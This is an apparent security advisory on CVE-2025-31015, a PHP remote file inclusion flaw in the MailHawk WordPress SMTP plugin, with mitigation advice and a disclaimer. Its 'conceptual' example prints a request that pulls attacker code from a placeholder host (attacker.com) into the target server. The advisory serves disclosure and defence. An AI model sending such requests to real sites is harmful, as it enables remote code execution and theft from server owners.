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CVE-2025-31015: Remote File Inclusion Vulnerability in WordPress SMTP Service

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Overview

The vulnerability, CVE-2025-31015, is a critical security issue that affects the Adrian Tobey WordPress SMTP Service, specifically the Email Delivery Solved! – MailHawk plugin. This flaw could potentially allow an attacker to gain unauthorized access and manipulate files on the server, leading to system compromise or data leakage.

Vulnerability Summary

CVE ID: CVE-2025-31015
Severity: High (7.5 CVSS Score)
Attack Vector: Remote
Privileges Required: None
User Interaction: None
Impact: System compromise or data leakage

Affected Products

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Product | Affected Versions

WordPress SMTP Service, Email Delivery Solved! – MailHawk | n/a through 1.3.1

How the Exploit Works

The exploit works by taking advantage of the improper control of filename for include/require statement in PHP program (‘PHP Remote File Inclusion’) vulnerability. An attacker could manipulate the include/require statement to include a file from a remote server that contains malicious PHP code. Once the file is included, the malicious code will be executed by the server, which can lead to unauthorized access or modification of data.

Conceptual Example Code

A potential exploit may look as follows:

GET /include.php?file=http://attacker.com/malicious_file.txt HTTP/1.1
Host: target.example.com

In this example, the `file` parameter in the URL is manipulated to include a file from a remote server (`attacker.com`). The file `malicious_file.txt` contains the attacker’s PHP code, which will be executed once it is included in the target server.

Mitigation Guidance

To mitigate the risk of this vulnerability, it is recommended to apply the patch provided by the vendor. If the patch cannot be applied immediately, it is advised to use a Web Application Firewall (WAF) or Intrusion Detection System (IDS) as a temporary countermeasure to monitor and block suspicious activity.

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Disclaimer:

The information and code presented in this article are provided for educational and defensive cybersecurity purposes only. Any conceptual or pseudocode examples are simplified representations intended to raise awareness and promote secure development and system configuration practices.

Do not use this information to attempt unauthorized access or exploit vulnerabilities on systems that you do not own or have explicit permission to test.

Ameeba and its authors do not endorse or condone malicious behavior and are not responsible for misuse of the content. Always follow ethical hacking guidelines, responsible disclosure practices, and local laws.

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